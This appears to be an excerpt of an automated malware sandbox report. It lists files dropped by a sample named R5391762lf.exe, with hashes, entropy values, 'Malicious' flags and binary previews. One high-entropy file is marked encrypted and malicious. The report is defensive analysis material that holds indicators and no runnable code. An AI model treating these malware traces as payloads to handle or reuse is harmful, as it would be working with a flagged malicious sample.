Preview:	..........#.W.._...._.k.....~.-x..>..~..R.l...P1.q6...n.8.!.51z.>......A./..h..//....M.^.._d...H...Z....#......M....v)....O........&..H3...GN(.J.......A.........,BNE..Uh}..=.b......O....:;.g0.{.f&^...$D%.X.j...;....n.L_.6..A.'.Ze?d{.+.r..h......Xh.A..A...#.K.*"..;N."/f.....V..Q.rdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Local\IconCache.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	25159
Entropy (8bit):	7.993063003772929
Encrypted:	true
SSDEEP:	768:ijAUzbC4Db/I6cMt24Fp81YbIejhuQ3VuDWH6QFtY:ij/bhbxcMZ81YVdK2Fe
MD5:	01DF770F981A8652CFE3BF259C0F8164
SHA1:	4AEEEDF79DB7AA920E1E0D281BC0B815A1732A89
SHA-256:	D7B8151FDC9E310B054F4A270CC0B510775F2F1B1996B6623E26ECE6181DEFAB
SHA-512:	0213B456BDC1AA075550CFE28269C9FCACF21F297D172CDB130729B6C4625E20345CEAF35961820564FBC6059471ED85838F8928E3BB490E2EE1BC36533B6546
Malicious:	true
Preview:	H...W...dFw.x.oxP...1.m. Y.]..G_.}...m.H.&4..b.s%i.X...F).8j."G^..y})-..;)s[@..i.%......D.@..2..r,.fuj.$5^...e....8..`6....V....B3{..........Ryp\|"..MF<%.X.T.[...v..x..k....R`.+@W:)....v.}....!......o(a..=.$.+u..ym.tQ.i...<......:@e]...K......J+^0..s..P.I..cB......U...H.y=k.K....yJ.~.......co<.}.%...3..Q.2.....)..Q.8..T).$.l......<A~C.......=k.u.b.....M/1.]..]_......o.u.......xw..4"....{._D.fE.. .Q.Y.mp...a>Io.. ..@.[().cKA.........8%......].S.i..W2.S.V...:.....\.....oB..QQ=.(.(Ad..Lb.qDPG.j Bfy.i.y.C,....k.O..i......W...5%c.o#o...XD....!N.I..D.~W..5...K....H.U.....l..x&~...G.....o...A../q.wMH....2X../R.M..o..R.F...#..2.xyg.;5$.p....T./Zf.t..#O0d[A...mb....%..Q.;....h..G.j...}.,.(..<..%....1.........T..?.....E[.......(\|.a.......]..R.r4.....h..V....!.{.>.W17]..&N.v....r.x..N....(..I...=%.....{g.\|.v.Ae."..9....Y.].'2.)n..XQD.;Df...~p..S....>...(A.Go.K........P.)p1u...Ge.OV.8..F.^.n.[.y..I.z?..fa.s.E.Zq...@..l;..N...s@.Ut...m..X\|.......3/...^.

C:\Users\jones\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651BFF76-DF0.pma

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5570320884129022
Encrypted:	false
SSDEEP:	3072:SedqyoBfO8jWNF9o+UT47FfLWfmt8Rz5C11iDLqi5lLIw3uXLtxdqoDvxtmP:SemO8oDl79VtOz5gw6ijeXzdqoeP
MD5:	4B296CB5E3CC0C568E132A2C6C99CCC4
SHA1:	265B880253708A3D2E9D80ACFECBE81451573A0A
SHA-256:	2FA76DC472191A323D140544CADD618DF1F0E8F54F08C8D727E0310577E68C5B
SHA-512:	7DEF89D4C167D28B7848C4CB6ECB520340508A7A793EC862927FF6005F65159DD3FC8379AA56CD5F2599D8CB04B2B2F6E9E95E34C7E72639B8813079A885347E
Malicious:	false
Preview:	...@...%...........&j.......`.-..?[".i.&......^e..U........4..+m......j.....k.W.#E.....`.6K.....G.7.Nn.!D.y......ILo...>.z'......[>..r~B.:Li.....y:.O+....7Q....W#...g..L.BW.2....P..c.8..s\|p....I.<..m..jb.H...@%...Gl.g......Oy.X......D.kxOv.!.=...<.M.V.....H..$.....N..JS7c........ .l."...>......T.....e...l[...LA..r80.......5.k..........+:....../B..S.9'...M.....E.tk...=.G.+....4.:T..B.z..N..P<.M.P..Z .....5Zw..4>.">.o...H..^.7.b..'..\..../x......!.....Hk=x.JV...R..7..I..T.R'...t.s5.S...O4H@I1......hO.......H.M...5..Z%0.y.k.N!^.n.L...._h.<.i1..o......$@.1.hT......^..>>.\..W_.5U.-..0...<..2...Z.ES......._............~....y#a....G..C.4.qB}:..Q.....U.....k.l ......H.O0"....i...d..g...f...@....Y.Aij8F...;N^.....{.kf...,PUR.>y.?h..{........pC......:..i........"EM..l#.6.P...$..Z...b.q).lA%.D...@...\|E..v5o....,..f...)-M."do(..5...-.0...%.Wc...Uf&[...#p/A%Md.Si.*N........C. .1...~...... .........\|..#..G......?..~,ij..aQS....Pz.L.L...vXV.

C:\Users\jones\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651C00B3-378.pma

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5185927871939573
Encrypted:	false
SSDEEP:	3072:7yIIstjxLgmvGhqltulTFi6UlRwjyrxkAsMysc3tzv:egjxLLglM6eYyrmAsMe39
MD5:	286D183B40639C07E7465CEA71DF6C7A
SHA1:	F6208EE320DED4BBD6992CD314CD1816F5B3AD21
SHA-256:	3A8EE29B39456544A79D9058AEADAB14E0D5CA2856DAFB5C56854F6EAFDCBB96
SHA-512:	EAF633EDF157EFD34A2968C9B1C6203D77CF993FBE6FBBBC39A852FD118C65772BF676FC57F8807F8E30B76A5CE387B09C3CC6A8D7B883FA6F113D3CED41C5E4
Malicious:	false
Preview:	...@...?....L6...Z.Sj...L.7;Y..cy.2.{.>p.1...YI{.{^l!.H..l....;...O. g..)b..........<..(&.......%.)".P.ZI......L)....k...N.....@..HX....#.\NW....=..1.G.1jG..[J'q.#..S.%....#..>jz.=.5..n..u...d.5..5A{..X..d..c...3.Bf.D..d0{...Q..tG..D..@..$..z......'c..g.3.v...\.38..5..?.......kn.X^%..Z?.,Z.........GKH...l.:.mR.q..-&U.I.....=b..r..&Q^.."{}.o..b..-.9M...j.D.a....6.cW.....f\|.J..._7...;..CL.M..$1.5.&.k..-X..U........_....FH.-x.. ........^.#.p.#..!8..1...GTP.....7...`&.S..To&.L.zz..6.k.2)..\|'..w.N..O..,...)....aG..F.xa :z\.bd....6.n.?...e..Lg.{dU>....Xb.^.[..c..y..s..e...x..Dhr...a..6..;...z@..l.>.f.6......1.Q.c......v.E!;.......CA}...GQ.i51`9O..P..C .M...E..c.^._.v.!.r...-..G..!..0._..2>Q....MJ1Ppy..o.t3...}..[......yW....^.NV...Pj6.oW..z.C........`.j)...yqkI......Y5....Q....XFz...@.l.$.XI.r.V.G..On.+.D..R./6z...#k..Jx..3=..Gw..-...N..WCl.5y..........*r..D(C.......Y.Y.'`.....5z..H...k...!...e.@.{..\|...OF..a..n.C.,8.........D..k@......

C:\Users\jones\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651C00B3-67C.pma

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.518465369943587
Encrypted:	false
SSDEEP:	6144:YGh8J3e035ZHungwOul+SvXENjcmtUKBjPj/M:78JD3juoO+SvC24PbM
MD5:	D70C7F7EAE0F03C89AC80789D25203BA
SHA1:	61B61E7FBE5D24890E30E19C01D256CD763696CA
SHA-256:	DEAD00CD94D08C00EA33967945DBA4853638475E99D68FBD7D7B890DF655E538
SHA-512:	0BF71BF85A1A4F06FBF6E734F61C41AA328975082E64D9FBC4234692EAD86649DFBD09E1E17D91BA24CC425F2CA949B47FCB51EBB833C98E20486A3E435F18C0
Malicious:	false
Preview:	...@.%....#.S....."'.....`..7VKl:x\|.f~.nV8......2a.....,...[..c.gn.....+{...+-H..2."....`.".]\..8....B....J.....=}..j..1..H.4..t~...<10.2dk..h...c..&."Z.>.$[.x.e..."...C^.D..i..)c...X..hT..?k.AA.i..]E..^..&......?4...4.......V.`...V...}........6....8s...mli...D{D&y@.jq.T..2xK7.=Q.~..A.#.a=...- .'.v.."5........0...Qk=O....a...!/2...4.^.:.. =Q.D.'...+....m.nh.e..P=..3t.j..._mml.k~..sOj7w.o[DHJ..X-1@_.o.#.Y. .\.,h.+...)6N...:......]0<.h.N..:.p.b..='eE0..^......j\|...b..X`7$..>V.{/u..........:Z.=2.......e..j0l..)Gca".....F......I='$.u#.C.x<9....!.......(..h..."x......!s(...5..5..7;E3..6.\_...j...I....M.W.0p..Y..Z...=.".R...\.X.MS..^.......?..Wr.>....3.4....a.bk%v8...U...32m8.....)4J.n...%F.>.ZIp.w....:.......4....X!L/..cR{..p{.!..'.#.a&.........\|8. <[.0......'Z.t..........E....H.a....j.s~R!.lOI............?..l.c..?DO..}.GRE.y}l..IQ....O.%.>..^.`fY.....R.(+..0.x..$..p.5!R.U.%<5.S1.qa.....5.L....Q..c.m{..HMY.G.4..^.Y.}mq;J.r..b..............Te.?.

C:\Users\jones\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651C020C-1B28.pma

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5184346395247298
Encrypted:	false
SSDEEP:	3072:eR7hsxhFOFWMpboPlETz2kEdL2QcdqkASJUBzRV5QNNekYuJsgXRH4h5:gyxhqWOGWO1L26oiF8HYumgXRH4h5
MD5:	8F4AA4B1026B07199D11933B9A2789D6
SHA1:	D2EC81EE5DA5A37278C36FF3B64BC9D4A6C26BDA
SHA-256:	96F1752D7C4D9559AA1A9D621DAA40F79AEB9AAFFF168F5D54658FC4E294A6B1
SHA-512:	9A367FB483D5157E0A85B743A24437BF3B31FD66C4ACA67CB7C2D67364842DC17429694FB009622CF843F3FF6257114808024A92A98AF246E4BC23344CAC6B78
Malicious:	false
Preview:	...@.&....(.AifT^.hB.....r.6.Qt.-t?....b0@.^.#w...HVCX....0....c6E...'@...^...i..C.`$.j.qyUbN....!...T..(...9...../..I.+...^....5..3.~c....j.Pe..W....x....`.,,.e.......w...\|..Vn(l.V.e.#.=~DQ..e=)......1U.I.q...T...T..u...<PK.X. q$\|.2oi4.`.......)O..0....s.P..P.y23...T..e........1.r..U.!..w.KW.\...SE?..F.P..."..&....qS...6......{K...I-..)hg.x..T.[..y...y......i.xP....B^.8.-Z&V..R.>.D.[.#....:.w...Z>[.-....L...B .....S{I..S.i .:.l\|.'\|B.T.x..y..-.JV.o.[.(h*....b..L.R.W...&..p.H.rN<..{D.K..,..zb....+...\|}V..zG'.g..t...h..<....daso.>..28_]s......%.#he..\._;.3.$>.....h..R..k .......h.:Q.t..t;.....CYT..=M;.H.'.&wv.`.!......zA..J.]Go...l...@.k.Y..."....Qc0.m......(.).M.....i...W.i..........&....[%...'..l.d.Jzcg.b.D.OS3o@.]...Z^........B.R..u.E...\....}-"`...yl.......y,...!<].q[..G....{q.....d.........S4...J.]>g `..I/.h.4..,!.%..K.A.+9.-Wcj.%..w.?.{...e...4d....G\..Fa....._..&.8.......".Ky..2.k?u.O..`...F&.x......=.x.5.f`...x.....O0..0...U.;.u$....X.E<..

C:\Users\jones\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651C020C-B60.pma

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5185643821962668
Encrypted:	false
SSDEEP:	3072:KD0nUxq9C0JvWp7s+WbVNc+Zjn6SczshXItdWyCGvAUEGIw0O:nn8z0JvWpQ+Wb2JzgItdbx0NO
MD5:	D6F0BCDBA26C4BC4589DC94BDC1E1546
SHA1:	924B0485F658983EF248130ADDD06768DB2C5C6C
SHA-256:	27B4B726FAA7FA5FB3D5ECD809EFD3C85A459283D7DB9AA002F267BCFA89E17C
SHA-512:	4F0D65A7AFB3E50A0A8B227436F10C176D5A29546FDAD7F223A03820F85880C3863F4C5A2C05D1BF5C3FCB939F44C4C16D2CEBE475F8EDEED90AD182F2783D0E
Malicious:	false
Preview:	...@...F:....es !..N..M.....^..8...wr..o.PE=\.d...f.......O-N.#Q.8raK.c.....!....B...=..\|'.n.t0Z......;-.9.,......kI)x.t.""...F........n...4.+.^...7. H.?..<2...J.G...@....7........[.%..P..../.,h..Q..Ve.... we....P\.6..I..X.&.d..KN.7. ...f...d..q.K.Nq...r...6.[..hq[..GZ.R.rtX..:...x<.WY.c..".A.).V.j.D..\|0[O.I..z.g.f.#M'..67..X.o.K.......l.70...$....q..JZ\f.D........sW.f._-...U-.>...].v..mI 3._..q<..U4.)..r.4.p.....$.E...b......e_.^.J.......{l......../...n.%t.J..A..-8. ...g.D..F..y30Q....D.'..Hal_......Q..G...d^Y.hJ]$...i...>.H. q..4....LV...".x."T2=.\|.8.Ez........o...S..q....`.Rh?...a.U)...E...H]..#....h.W'.G=....o.o...].ir....p......:>j,..G.E..Fs[I........O.0..w.4e....H..........9\|I..../.0.y......./..1...z....s+.BB......n......s..I....;;.0}..@.G..L(.b.*.........f......7a[.dz....bZ..n\...a...UY.....=K5).....CF.E.....u...P..3OCS-.b0:$..c....E).z8B...m..c.....]...By..T._..,.....NP(..}. .w..6.......h..K..^..-.N.I.........

C:\Users\jones\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651C0537-1BBC.pma

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5183874460791691
Encrypted:	false
SSDEEP:	3072:/dslUGl5dW9MJppc9QJdn8DguwmLjJ0zB3bGX9g2VxNBqUq1IE94l5Da:FiUG3dWeX+9mdnOZ0zB3bcgGy5IE9a2
MD5:	34B2255CD408DF2A91770AB74703FB00
SHA1:	31534771E0506BBE02693D5DA0DBC9472D8D248B
SHA-256:	D267BEF64C44A8D472CEC7DA08F07644A456FB87B781A12B302986627491FC44
SHA-512:	539EDFD3C7EC4DD63F3EA188095623540B5A79BE143029CBC0407F12F6E4C6F1FB3B9C247E5F0431DA86A0AA5C4074EBB0A16649D14D6568FC3DF92E4C100643
Malicious:	false
Preview:	...@.q3...X...?...I.......:...s3......)(:.^.OU.7..4..x.[.:J+.%..{.T..'........SE.{.<x,9_.....Hp.F."......9Q2.K.F^....q..I...Fj!4a.L..]So....d.=.;....!.y..].....6%v.d.O6.If...Rn.2..,.z.........i\[...M.\|..0`?.;...sd ...%..n..7tB/. O.B.]d....8..!.>.A!Rl..4wV..2....)_0.:..>..W...k.......;.h..%......#8RYt.\g....Kfd.#P..........G...-.V\|..r-.........8j..@r...........YF.....o..<.w..~..,...s....f...^...".&p.e..?......E29<...z...F.XA9..d..m.....5..B....E...HZ..+...i.5.Y......u..^.l2.......v.?.X&.W..??../.J.d...<5s..Y_L.B. (.XDED.B..6....@.c.I{.....~O].,.H.d.(.o.i!..,...y.....7 .zF.;..`......l.w#...h.#..{4....Z"s.....}{+y.9.M...!.N..LU....,.)B.b..f....^....F..w..V...._.n.]..G..+.Vp....._\....hk..~k...q.g..P.....& Kg-..._oJn+..6u.u..^..x.....E...d....fY..t.....8.L.+.:.{.....R...v=.7z.%-...\|..<a.@.7l...7sB&}.S%.;.....aI.....P.\..E}.]o>?p..l.IZ.....LV.K.....{9.2.#{ +.f...*uG.&Vl....r.....ZA..j.7.\|..I.5..~.......=./_..J[i...8Ud..@.R...3..}{..6p0Ks9...^~...

C:\Users\jones\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651C0537-1BC0.pma

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5184941124969351
Encrypted:	false
SSDEEP:	3072:4hNESMG9dyC8BfG8H3RAM/TklhMzdiEROaH0XyhLGmTC8NK:QuRV+63RAM/TkLaYiTX5M
MD5:	0AB3AE61631ADD73C61E509111797BFC
SHA1:	B15B3D2ED84D0D60E8D1FD56F0A75E3A701A7D6B
SHA-256:	5BAA6CAA38192D1B3BD540A63DCBE40626117E67DCF9E56A6CEA0BE74BA7FFA9
SHA-512:	D426FDE61203022553E4E47D18AA965AF2A3599C7E50B788C9E45E141D99B0E60CEEBE3A21ED0C01F3DD825DC07D21863085435F8C468BF9B42EA10558B7CC81
Malicious:	false
Preview:	...@...n....~..b.=.4.J...?..sM..]..pM.............\t..wi..<...4.4.y.....s....C..0..=...f.Kn..g....F...)@......&..).G...Z..F... {&.nT...yB..9.8.Q'.`a..,........... ..6..G.'-..vb....S..c5..h#..4y..E...Zd...".0.7..D.H2K..~O.^..%.S.x.....8.u.ukD..B...8.o..\QYp.>F?!>..c.Y...9....P4.tt.`.z....%...Un.Go.Pp+k..:2.[...A.W........q.....m..N........G@.GM..3{t..&.7...Sw.!.4..Zm.g}r.......1U.;.}^Dm.\|I..........c.....$.6.....Q..:.0.B...]K{40.f.=...#...S^.e....s.........J...]./....d...#..@4..c....../......w....Cj.n6v.....40.H..}%.^IX.....a....,.....}.B.s.W.}.^c.H...A...c...gX.(vz.R.v.9.Q..e.....N.s.mK\|.0D01.y..%$..D.#.v.....X.\.......=.eY2.........jM9.^[.{.U.6.1g".../.......$q.....]r.p..o.^5!X.z7..!...-..U....n.~..>+]d..A..\..&..[..."9\|.=.uf'1<W....n..-...U]kE.:.Xn.....dA..%g~.me...I..9....@...ec0..zW.h.kO!..`>.....6(f+..RH,.......m.B/K. 7.6.$@.R[.V......u...[.F.....MS..Y..M....2.`\|n..R.._u.....z.s..*\|G.f._....i1..{_.~..A....I.=<.....Xx....

C:\Users\jones\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651D22E2-1DAC.pma

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5184765934570211
Encrypted:	false
SSDEEP:	3072:GLBHf91E9J+1lN0QH6Wxy8j20VFwnNQKqn4rUzia7T:Gl1h1lN0epXANlqnAa7T
MD5:	5F79F084C1D6ADD36E1A8CBE76698E3E
SHA1:	C77008DE925DA7E3CD65589F2B19702BB8B753FA
SHA-256:	DC7884FD8B8D80C7B1DA6C52213244A4623EF766E9E0A90F95A78D67E142F0A5
SHA-512:	642FC49CF872139B9B64366FF18A404BC20D3ED2628F33C0D9465C09A0670F3B91FF067259583D4EB015F99A578EF9E6E36A567F22A3EE40A9475B5AE1F449FF
Malicious:	false
Preview:	...@...,Uvb...L.8.,.Lt.K.J.-y.;..v...j..P..;p..z...pb.`..IU.+&q+G.gw...R W..k:W....6.a..m[...V.....^W..c...b/.[....H..JH...Dj..s.....j.H...}.....x...M\|>a.j..tg......n.{.@....8.b.....n..\H...e_....(...Z.\|...D.X..'........!.... }...>.A.z#......R...BP...D.......l.......b..,......^aOk.j....[ .i=L..Z\|...O..>t\|[.............uL.t_y..%R.\|k.!Z...+.......h,...2.O7...x...%5iad.#.2.?..k...Z...\....o..U.}......eTa.4c.+.7.;..8.E....t...lK.>...^...D5.#.dm...E.<....\s...tBt!W..X...j...Q...`&........9.U..".6C.F@L ....O-R...J......v..iX.8......eq.}h.c..C.....E7....>.Mi"....y.......y.{.r.x...jg...k.{E=..D.5...T.7.... ..R=..&.A..`...u..dK2HKh.G.6.zs..8..&.an.;o!{....)^.6,...:.*..-.R.a..6.@.#c?..........4.....8w....N..._.-...6X....~...O....D..{S\...6...Kn..s...[.....WB.Y......{4..&.R....-......x.v>Z.....(no.1..[T.Se.8...{!..7...B......l.W.6..$.924tV.K...K..).......0..zHC.!....U.85........DK..2...<^/:..GV...re.......}..`.z;..........1kH.zCz...`...h..9.i..a1...

C:\Users\jones\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651D22E2-A84.pma

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5184432939960907
Encrypted:	false
SSDEEP:	3072:EMgp1bcUl3ZAY78juMUa7bPVYqzl7RkzhgtOVeDw:Ebp1Io3ZAz+a7ZPlAo1Dw
MD5:	C39C9655548E9F3A0C20C9D037ED2747
SHA1:	0F7692F626EC83F335D3B030ADD7D1E23CD24013
SHA-256:	A666217A51F4D3DCC79A54FE887E3671A72B2A6F04AD3BD2A4A382ABC0B26968
SHA-512:	669279592E854FA8F5D95AFFAC35579392CC33F50AB323590ADF2C0D65BE52D6A94A759F0458E48680A8E7C4D0DE9C37211CBD04CB3128C044B8421F6854A6FA
Malicious:	false
Preview:	...@..K..6.4^.o....z.6.=......?I........F.....D.f;.Vs.......}?..0......"..\DO.{.}..f.d..}._./..Q.T<O.....I..t.L~..;!*<#......j]...q.....C$]...r.z....n.=..s../.....-.#..%..3..Y.r.<.B..Y.H..K.1.d\|..ex.9.C.5LB../.......9;.ge..T..h.FG.\I]<.u....Fg.p..,..N.B.p..1..%R.T.y.....U....n.......n:.&yC\._^.S.....b26...P."..c..@E_..h..kO. \|..4L..kr....&m..S.....;...r....>S..M.m.e.b...@....R'..W...^...9..W.....i.{.5.nv... ..?.wN ..S.f."k/..uD5.f__.l.J.Bah.Ni.j./..,{.....sn..l}....Yx;...P...Q..r?fk..fr.../.C....8...7.H.;.E...f.pvd....n.$......7.oy.u8..Z...#Xz.F..}f.....3D....N8].. DT..f...o%.._..j^..fn.<..t..@.#i..[..r....J..h.y..Eh.f.&..8.....H/..Ej3.5.2.k.m..s...N}...]F....a#...t6.v.....T7`......\.};.w.......s....A.81...[...L....).'w....x....8G.v.Y.E.............x.\..]@.o.j.n).w....N....(.V...)...........p[....+..q.....T...,.;..q1..!..Z...#..bS...........QQ.-J...T..D...K.W...= ...i...v.b...kd2WPh.\..i.._.6.H.Wp[K....t9.r.o.b.._.........K....o

C:\Users\jones\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651D23AD-1560.pma

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5184397630160662
Encrypted:	false
SSDEEP:	6144:FmqF5Cka7gzZxsGENLqPrulZVLekXy865daA:FpHCF7yZdu4843
MD5:	E52E310717B71B6DE9A6E423AD77BD27
SHA1:	FFDADF7C6A364197CECDDB6F4296063693B2A7C4
SHA-256:	DC8EBD22E4F52EC256D01FAFEC81F4C85D1F087D79400958EB4A1487CA42D359
SHA-512:	AF778EF2AB36B4E0F6B096653037D0B23A161FFCD15520299B339268CE4FF94A1E856949319794D6364826DA0EE1435097DF99701AAD098B31A8508F103D420F
Malicious:	false
Preview:	...@...g.t....lA.F .......q.c..ES..........lf......~.['J0B......\...X...%..5p$j?......s.w...b.....p..z...5..^.X,..'..T.b).x\|3g)........9YO.......:a....L...K..a.T.x..n=.....C.~..m.....!Q....}..F..t.m.[s..@}...F....1..@..."t...B.....j.8..p.$.If..X.s.......5k..HZ..,..<..^..m.:.J7......k..h..._.....FEb.U._u.........--......_.......Y.8.}fI\|..@..p...=g......).....Nn.$...W0E.Q...K....%....'p...,kY7V>...y..0...!.<l4........yq.%.e...(,.].^sn.6a.HB...vJ19..E]iwAQ...&/O.........i,.....`!i.k.u...W.-^..f.m....W..3Zk. 1.R?.Q..[. .4.',._UBy\w0[.<.a`.......Fe..v....G%.*.~.3.d...C.;;FiWe0.0C...Ar?..d...T..d.i...{.w..@.N..$.\G`4...S....`.5c....U.kc.nT.."...`..'..vY..F..1..wG.wZh...O...>.{....jE.w.Wa.{k.#.%;.e...(...bh..."..........\|U..b"+.q.u......5.S.<..Uv.,....cUw,%.M....Zu<...4J....a#KO)F...S..0.}.o.4.>j.e<T}.99L..j..C0.2.....:n.Mr..".2i.......I...4...s...FyW...>.a.XBy\.)..HF.p...)...A'...Cx.>...@...v..V.t...8.....,1.\..c2.oT.F'.&..U.....d..(h."..

C:\Users\jones\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651D23AD-F98.pma

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5183063969084363
Encrypted:	false
SSDEEP:	3072:2ED/tMr3NLiCgTwGuqxbhG2rDvM92bPBvJXdkTUww6ih2Hh85RbaQnZWvkiHY:DxMrdLiCg//X1Ds2bPXBXLaQs8i4
MD5:	B2C2F8E3BEE61448EDDCA4AEF32187D3
SHA1:	E2249606D370DF3E33E18DD56934881397BD683E
SHA-256:	D1A003DA0C70943B9A4C1F7E7EAA09D9ADB75B463B503C3013BA6C330E6939FC
SHA-512:	6DF1485709928A5E84F77F70B8DDBFB7B79B5C74DE24F63E30EEC1356A049DB32951C1226331AD449A1AF8DC94F896F4AA302256038C9A5FE60A98E67D68AA63
Malicious:	false
Preview:	...@..!. 7.^.Y4.......u..U<...</.ml.4...cn......:2Z........5.'m.1....\|F..f.}....I..WN./~.x.,..D.X..F.....tR.V....ClDBU...Q......A9....8....N.m.P.\|....@.u.1.=u.....2..uM...;..8.......[....7.....-....u.F3.&...\._f..C....\..2s....L.3_.......0.....~..wJt.!.;...tu...C/.......r..{........C6.G.v...p...}W.......p^.F.z.....g..m......J..o)O1....hp._..x..6.O...;..)..........v..%....B}!..S;..\.......YZa.`km7.bO..$c.i.[...h..Kzx..f.1.6....~]..O^.E....&.....v.8\|P=.v..N....p.=_L.I...-#..&.]O.D....KC.4..D..O.....>..LL. ..(.....^.n..T.I.Hm`.d...I....}z@x...6.E...o......0..7......e...dN.8"...v...%]...lP2.l."7..tm;8k.&M........o....A+y...e.J.uC..9...'..V...749..zbg.d.9(..Z.....TqW4..r..Hxx.l.S..O...a.u....Z........@~Nv..v...9..j.W.......\....w.?.!0...'..q..j..^..!.r..I.`H..+B..%..Y.u....'".......}.v...l...di....&......&..]...z........jF.^-.S..V..KO....#Si%o.1F.[.E........6.9_..RK.%KI^b.!......9..>.......v.RPH.I...8..fp.>.....p...Q..&......M...l..j1....

C:\Users\jones\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651D2470-1A5C.pma

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5185622635249226
Encrypted:	false
SSDEEP:	6144:JvVPguUBz8ivnOCfoCU/CP+Q5UQwGKxyk:Jmjd8ivzU6GQ02k
MD5:	E6EEF0FE8E14986DBAC6763018B26D6C
SHA1:	E4BC9E31AC4C1D67808FC1B735CFB60AD3F7C0FB
SHA-256:	BB16A23FD60DF4E45A109C9F043574156572B9A6010A6069C3BBCB883D6B871B
SHA-512:	F99D856431C59DF0BEF14EFE5AE321F23FF803F4453C74C3FC46CA0F6EAC2F6FD5231E052B2BD2B1582FE71FE5FEDA165D599D0B24469ADB5934B40100CD296A
Malicious:	false
Preview:	...@...^..s.....m.TO....1+.3"~{.....`.`....%..Q...fZ.../\.3.w ..-...tj..3....~.....;..?.u.Y...:....T.I7..T.N..Wr....S4.H.5a.._n.,A[+ovx...P. ... .\|.0.).m..q.....nq.Ay..w.zI.yY..A.\|X.b...K+...<.d.;_8...F..&..x.d.r.........\....s)$...e.<.5.x.,z..K......6\..ke...N..!I..c.~..f.}..9"..h=....G.hx.Q..>.!....;$.....4.....}.....GTnt.Q.C.q&h."k#...%c. ...BP#...6.$........P.0^L ..~.rv...^+po!Ue..k...<. x.$......P..J.pL..>...H...LG......E..q...W.f....-&.....@.........'.G].9P .C.z...8.N ...B..Wd.c...6...0+/.....g.....n.t....'zAQh../...P.-..!...B.@.%d...di.U..}......A.@%....1\'....W...y..cY.a..#u......F..+..\|......\|.2L..... .;.....o..eDk....!a.......-.....D.A....evQN.sE?.r..r.....U....Q.x.R..u..K.+.L...S...S.".n...B...}0.. _.......n,...a.&.6....1....z[....[.h.R.*._...I.....:.vQc......Y........$2.s....A4y.8...xZY.X.............4.....GH........l.;a.WD.3.o..r..9...Nk..V..H2......W....ttP.....k.y...F.?N.O..P...&..-J..}..I.H#7..x...f..Sm..._d/...

C:\Users\jones\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651D2470-6D0.pma

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5184971836684602
Encrypted:	false
SSDEEP:	3072:jZbI4Tw1YUTZJQlBE3ByhF2Z3Ef25sOQTVWGKCPpojc5NGA:jZb7ulQlBs0F2WfdOQUdC6jCt
MD5:	D88130F4DE120B2CEFE45B8BCA49E89A
SHA1:	6301906DCF7ED59E350E9FE92BF2BB5ACA37E1E6
SHA-256:	9ACD8B868A5CE99659DB9FFC26FD7F53B17E05B725290C0A872F3215FEE76511
SHA-512:	09E4587355A821413F276BD915B2B6717CB0EBECC5A8CC5CB00C34F42B8936F0860E5F8C5A3FA2C2B9BCC240CE6531491D6189A4F731D01A59814906BE4D9470
Malicious:	false
